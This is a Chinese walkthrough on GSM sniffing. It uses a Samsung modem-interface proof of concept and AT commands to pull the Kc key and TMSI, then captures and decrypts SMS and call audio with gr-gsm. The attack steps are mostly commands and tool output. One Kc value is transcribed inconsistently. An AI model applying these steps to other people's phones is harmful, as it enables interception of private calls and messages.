0×00

在文章第一部分 GSM Hacking Part① :使用SDR扫描嗅探GSM网络 搭建了嗅探GSM流量的环境,在第二部中,我们来讨论如何捕获发短信以及通话过程中的流量,从捕获到的数据中解密提取出短信文字以及通话语音。

0×01

1.1 获取三星漏洞利用代码:

这是三星的Modem interface exposed via USB通过该exp可对设备输入AT指令进行调试(此方法仅适用于:Galaxy Note 3、Galaxy S4、Galaxy S5、Galaxy S6)。

AT 即Attention,AT指令用于终端设备与PC应用之间的连接与通信。

wget https://raw.githubusercontent.com/ud2/advisories/master/android/samsung/nocve-2016-0004/usbswitcher.c

1.2 源码编译libusb:

wget http://jaist.dl.sourceforge.net/project/libusb/libusb-0.1%20%28LEGACY%29/0.1.12/libusb-0.1.12.tar.gz
tar zxvf libusb-0.1.12.tar.gz
cd libusb-0.1.12/
./configure
make
make install
sudo ldconfig

1.3 gcc编译PoC:

gcc usbswitcher.c -o switcher -lusb

0×02 获取Kc、TMSI参数

插入三星设备,可以在/dev/ttyACM*中找到它:

2.1 switcher

busybox microcom /dev/ttyACM0

./switcher

这一步比较尴尬,需要反复执行才能成功进入交互界面,如果实在不行可以尝试下一种方式,使用minicom:

2.2 minicom

minicom -D /dev/ttyACM0

通过AT指令获取Kc\TMSI可参阅:Attacking the Baseband Modem of Mobile Phones to Breach the users’ Privacy and network Security

2.3 Kc

GSM系统中的加密也只是指无线路径上的加密,防止BTS和MS之间交换客户信息和客户参数时不被非法个人或团体所得或监听,在鉴权程序中,当客户侧计算SRES三参数组的提供时,同时用另一算法(A8算法)也计算出密钥Kc。根据MSC/VLR发送出的加密命令,BTS侧和MS侧均开始使用Kc。在MS侧,由Kc、TDAM帧号和加密命令M一起经A5算法,对客户信息数据流进行加密,在无线路径上传送。在BTS侧,把从无线信道上收到加密信息数据流、TDMA帧号和Kc,再经过A5算法解密后,传送BSC和MSC。可以通过AT指令获取KC值:

AT+CRSM=176.28448,0,0,9

演示视频中,Crazy Danish Hacker获得了该值为:5973237C3E96980303 丢弃最后两位,即:5973237C3E9698033

0×03 信号捕获

3.1 确定当前手机接入基站

手机在连入GSM基站时,我们可通过一些方式确定自己手机连入的是哪个基站、ARFCN是多少,安卓手机在2G状态时,可在键盘拨号界面输入

*#*#4636#*#*

上面这个是安卓通用的如果你的手机没反应,还可以尝试

Samsung (Android) : *#*#197328640#*#* or *#0011#
iPhone (all) : *3001#12345#*拨号
HTC (Android) : *#*#7262626#*#*

进去以后能找到基站的MCC、MNC、ARFCN这些参数。

MCC 移动国家码

MNC Mobile Network Code,移动网络码,共2位,中国联通GSM系统使用01,中国移动GSM系统使用02

ARFCN 绝对无线频道编号(Absolute Radio Frequency Channel Number – ARFCN ),是在GSM无线系统中,用来鉴别特殊射频通道的编号方案。

手机开机后,即搜索广播控制信道(BCCH)的载频。因为系统随时都向在小区中的各用户发送出用广播控制信息。手机收集到最强的(BCCH)对应的载频频率后,读取频率校正信道(FCCH),使手机(MS)的频率与之同步。所以每一个用户的手机在不同的位置(即不同的小区)的载频是固定的,它是由GSM网络运营商组网时确定,而不是由用户的GSM手机来决定。

手机读取同步信道(SCH)的信息后找出基地站(BTS)的认别码,并同步到超高帧TDMA的帧号上。手机在处理呼叫前要读取系统的信息。如:领近小区的情况、现在所处小区的使用频率及小区是否可以使用移动系统的国家号码和网络号码等等,这些信息都以BCCH上得到。

手机在请求接入信道(RACH)上发出接入请求的信息,向系统传送SIM卡帐号等信息。系统在鉴权合格后,通过允许接入信道(AGCH)使GSM手机接入信道上并分配给GSM手机一个独立专用控制信道(SDCCH)。手机在SDCCH上完成登记。在慢速随路控制信道(SACCH)上发出控制指令。然后手机返回空闲状态,并监听BCCH和CCCH公共控制信道上的信息。

在Part 1 中937.4MHz这个基站的ARFCN为12,本部分假设我们的手机接入的是这个基站,接下来,我们通过SDR捕获这个基站的下行数据包:

3.2 确定当前基站的下行频率:

打开http://www.cellmapper.net/arfcn.php

结果:

Network Type    GSM (TDMA)
E/U/ARFCN 12
Band Name GSM-900
Uplink Frequency 上行频率 手机到基站
(phone to base station) 892.4 MHz
Downlink Frequency 下行频率 基站到手机
(base station to phone) 937.4 MHz
Band Number 900

获取Downlink Frequency 下行频率 (base station to phone) :937.4 MHz 写作:937400000

3.3捕获下行数据包:

grgsm_capture.py -h
linux; GNU C++ version 4.8.4; Boost_105400; UHD_003.010.git-197-g053111dc Usage: grgsm_capture.py [options] RTL-SDR capturing app of gr-gsm. Options:
-h, --help show this help message and exit //打印帮助信息
-f FC, --fc=FC Set frequency [default=none] //设定捕获数据的中心频率
-a ARFCN, --arfcn=ARFCN //设定ARFCN
Set ARFCN instead of frequency. In some cases you may
have to provide the GSM band also
-g GAIN, --gain=GAIN Set gain [default=30] //设定gain
-s SAMP_RATE, --samp-rate=SAMP_RATE //设定采样率 默认2M
Set samp_rate [default=2M]
-p PPM, --ppm=PPM Set ppm [default=0]
-b BURST_FILE, --burst-file=BURST_FILE
File where the captured bursts are saved
-c CFILE, --cfile=CFILE
File where the captured data are saved
--band=BAND Specify the GSM band for the frequency. Available
bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM,
GSM450, GSM480, GSM850. If no band is specified, it
will be determined automatically, defaulting to 0.
--args=ARGS Set device arguments [default=]
-v, --verbose If set, the captured bursts are printed to stdout
-T REC_LENGTH, --rec-length=REC_LENGTH
Set length of recording in seconds [default=none]
grgsm_capture.py -g 40 -a 12 -s 1000000 -c sms.cfile -T 20
-g 指定gain参数 40
-a ARFCN 12
-s 设定采样率1M
-c 将捕获到的数据存入sms.cfile
-T 设定时间

命令执行后可以用另外一部手机给接入ARFCN 12基站的手机打电话、发短信,这样我们就实现了捕获通话过程中的语音、短信数据包。

ls -lah sms.cfile

捕获到数据包后再次查看KC、TMSI,确定这两个数值没有改变。

0×04 信号解码

捕获完数据以后再次获取KC TMSI值:

minicom -D /dev/ttyACM0

4.1 KC:

AT+CRSM=176.28448,0,0,9

演示视频中输出结果为:5973237C3E96980303 丢弃最后两位,即:5973237C3E969803

4.2 TMSI:

AT+CRSM=176.28542,0,0,11

演示视频中输出结果为:9062FF7632F8665610FF00 取其前4bytes,也就是前8字节,即:9062FF76

ls -lah voice.cfile

一起来看看解码脚本的用法:

decode usage

grgsm_decode -h
Usage: grgsm_decode: [options] Options:
-h, --help show this help message and exit //打印帮助信息
-m CHAN_MODE, --mode=CHAN_MODE
Channel mode. Valid options are 'BCCH' (Non-combined
C0), 'BCCH_SDCCH4'(Combined C0), 'SDCCH8' (Stand-alone
control channel) and 'TCHF' (Traffic Channel, Full
rate)
-t TIMESLOT, --timeslot=TIMESLOT
Timeslot to decode [default=0]
-u SUBSLOT, --subslot=SUBSLOT
Subslot to decode. Use in combination with channel
type BCCH_SDCCH4 and SDCCH8
-b BURST_FILE, --burst-file=BURST_FILE
Input file (bursts)
-c CFILE, --cfile=CFILE
Input file (cfile)
-v, --verbose If set, the decoded messages (with frame number and
count) are printed to stdout
-p, --print-bursts If set, the raw bursts (with frame number and count)
are printed to stdout Cfile Options:
Options for decoding cfile input. -f FC, --fc=FC Frequency of cfile capture //指定需解码文件的中心频率 (从哪个频率捕获就填多少)
-a ARFCN, --arfcn=ARFCN //指定ARFCN 同上,从哪个ARFCN捕获就填多少
Set ARFCN instead of frequency. In some cases you may
have to provide the GSM band also
--band=BAND Specify the GSM band for the frequency. Available
bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM,
GSM450, GSM480, GSM850.If no band is specified, it
will be determined automatically, defaulting to 0.
-s SAMP_RATE, --samp-rate=SAMP_RATE //指定采样率,默认1M
Sample rate of cfile capture [default=1M]
--ppm=PPM Set frequency offset correction [default=0] Decryption Options:
Options for setting the A5 decryption parameters. -e A5, --a5=A5 A5 version [default=1]. A5 versions 1 - 3 supported //设定A5加密算法版本
-k KC, --kc=KC A5 session key Kc. Valid formats are //设定KC值
'0x12,0x34,0x56,0x78,0x90,0xAB,0xCD,0xEF' and
'1234567890ABCDEF' TCH Options:
Options for setting Traffic channel decoding parameters. -d SPEECH_CODEC, --speech-codec=SPEECH_CODEC
TCH-F speech codec [default=FR]. Valid options are FR,
EFR, AMR12.2, AMR10.2, AMR7.95, AMR7.4, AMR6.7,
AMR5.9, AMR5.15, AMR4.75
-o SPEECH_OUTPUT_FILE, --output-tch=SPEECH_OUTPUT_FILE //将解密后的文件另存为
TCH/F speech output file [default=/tmp/speech.au.gsm].

在接下来的解码案例中,我们以gr-gsm开源项目的测试数据为例:https://github.com/ptrkrysik/test_data

测试数据已知参数如下:

ARFCN:725
采样率:$((100000000/174))
Kc:0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02
wget https://github.com/ptrkrysik/test_data/raw/master/vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile
mv vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile test.cfile
sudo wireshark -i lo
grgsm_decode -a 725 -s $((100000000/174)) -m BCCH -t 0 -c test.cfile

在Immediate Assignment中,我们可以确定广播控制信道(HCCH)为: SDCCH、Timeslot:1

使用我们刚刚知道的参数再次解密:

grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1

在这一步我们解码出的数据包数量比前几步少了很多,我们可以通过Ciphering Mode Command这一栏的数据包确定A5类型:

A5算法在1989年由法国人开发,用于GSM系统的序列密码算法。

A5它用于对从电话到基站连接的加密,先后开发了三个版本记作A5/1、A5/2、A5/3,如果没有特别说明,通常所说的A5是指A5/1。

确定了加密算法,再次执行解密脚本:

grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02

在cc Setup这一项,可以看到Calling party BCD number – Calling party number(被叫手机显示的主叫号码):

Assignment Command一栏信息如下:

在上面这幅图中我们确定了 CHAN_MODE 为TCHF,Timeslot为5,有了这些信息,我们便能从捕获到的文件中提取出通话语音,其效果类似于通话监听:

grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m TCHF -t 5 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02 -d FR -o /tmp/test.au.gsm

进入/tmp缓存目录中,已经可以发现一个音频文件了:

安装VLC播放器:

sudo apt-get install vlc-nox
vlc /tmp/test.au.gsm

耳机了传来歪果仁酸爽“test”的声音。解码出音频的文件:https://pan.baidu.com/s/1i5jn1A1

0×05 refer

GSM Sniffing: TMSI & KC Extraction – Software Defined Radio Series #9
Voice Decryption 语音解密
SMS Decryption 短信解密
SMS text messeges and voice calls sniffing
https://ccdcoe.org/cycon/2015/proceedings/16_xenakis_ntantogian.pdf

原文地址:http://www.freebuf.com/articles/wireless/111577.html

GSM Hacking Part② :使用SDR捕获GSM网络数据并解密的更多相关文章

  1. GSM Hacking Part① :使用SDR扫描嗅探GSM网络

    0×00 写在开头 近期,发现Crazy Danish Hacker在YouTuBe发布了一个挺不错的教程视频:使用SDR嗅探监听GSM网络的通信流量(GSM Sniffing Teaser – So ...

  2. GSM Hacking:使用BladeRF、树莓派、YatesBTS搭建便携式GSM基站

    每次看到黑客在网上发布的那些GSM技术相关文章我都十分惊讶.然而在没有Software Defined Radios (SDRs)之前,玩GSM并不便宜,除此之外想要好好玩你得下大功夫. 拓展阅读 G ...

  3. GPRS GPRS(General Packet Radio Service)是通用分组无线服务技术的简称,它是GSM移动电话用户可用的一种移动数据业务,属于第二代移动通信中的数据传输技术

    GPRS 锁定 本词条由“科普中国”百科科学词条编写与应用工作项目 审核 . GPRS(General Packet Radio Service)是通用分组无线服务技术的简称,它是GSM移动电话用户可 ...

  4. Linux 中的网络数据包捕获

    Linux 中的网络数据包捕获 Ashish Chaurasia, 工程师 简介: 本教程介绍了捕获和操纵数据包的不同机制.安全应用程序,如 VPN.防火墙和嗅探器,以及网络应用程序,如路由程序,都依 ...

  5. LINUX下的远端主机登入 校园网络注册 网络数据包转发和捕获

    第一部分:LINUX 下的远端主机登入和校园网注册 校园网内目的主机远程管理登入程序 本程序为校园网内远程登入,管理功能,该程序分服务器端和客户端两部分:服务器端为remote_server_udp. ...

  6. 捕获网络数据包并进行分析的开源库-WinPcap

    什么是WinPcap WinPcap是一个基于Win32平台的,用于捕获网络数据包并进行分析的开源库. 大多数网络应用程序通过被广泛使用的操作系统元件来访问网络,比如sockets.  这是一种简单的 ...

  7. Linkerd 2.10(Step by Step)—使用 Debug Sidecar,注入调试容器来捕获网络数据包

    Linkerd 2.10 系列 快速上手 Linkerd v2.10 Service Mesh 腾讯云 K8S 集群实战 Service Mesh-Linkerd2 & Traefik2 部署 ...

  8. Python黑客编程基础3网络数据监听和过滤

    网络数据监听和过滤 课程的实验环境如下: •      操作系统:kali Linux 2.0 •      编程工具:Wing IDE •      Python版本:2.7.9 •      涉及 ...

  9. 用C++实现网络编程---抓取网络数据包的实现方法

    一般都熟悉sniffer这个工具,它可以捕捉流经本地网卡的所有数据包.抓取网络数据包进行分析有很多用处,如分析网络是否有网络病毒等异常数据,通信协议的分析(数据链路层协议.IP.UDP.TCP.甚至各 ...

随机推荐

  1. 4.AE中的缩放,书签

    1.书签 private void textBox1_TextChanged(object sender, EventArgs e) { if (txtBookmark.Text == "& ...

  2. 不刷新页面获取HTML进行显示

    $.ajax({ url: "请求地址",          dataType: "text",         type: "GET"   ...

  3. 关于MySql has gone away问题的解决

    everybody 是否导入数据库的时候 导的导的 就会出现这个错误呢,这个错误的原因是你的数据库有点大,数据有点多,导入时间过长与服务器失去连接了,让我们看下咋解决把. 如果用的是xampp 修改m ...

  4. IO多路复用,实现多线程监听

    服务端 import socket sk1 = socket.socket() sk1.bind(('127.0.0.1',8001)) sk1.listen() sk2 = socket.socke ...

  5. hdoj 5074

    Problem Description Hatsune Miku is a popular virtual singer. It is very popular in both Japan and C ...

  6. Java parseInt()方法

    1.Java parseInt()方法 使用此方法得到的原始数据类型的一个特定的字符串. parseXxx()是一个静态方法,可以有一个参数或两个. java parseInt() 语法:   sta ...

  7. algorithm -- 基本介绍

    为学习算法和使用.实践 GIT & GitHub ,而写此系列. 我使用的编译器是 visual studio community 2015 低版本的VS打不开GitHub中的解决方案,拷贝代 ...

  8. jsp页面往mysql里插入中文后数据库里显示乱码

    1.JSP页面乱码 这种乱码的原因是应为没有在页面里指定使用的字符集编码,解决方法:只要在页面开始地方用下面代码指定字符集编码即可,<%@ page contentType="text ...

  9. ubuntu14.04 wifi驱动

    ubuntu崩溃后再安装后,发现没有了wifi按钮 因为必须要用wifi不然太不方便了,于是在网上找了一下,安装了一下驱动就解决了 首先确定无线网卡类型: $ lspci -vnn -d 14e4: ...

  10. Redux教程3:添加倒计时

    前面的教程里面,我们搭建了一个简单红绿灯示例,通过在console输出当面的倒计时时间:由于界面上不能显示倒计时,用户体验并不良好,本节我们就添加一个简单的倒计时改善一下. 作为本系列的最后一篇文章, ...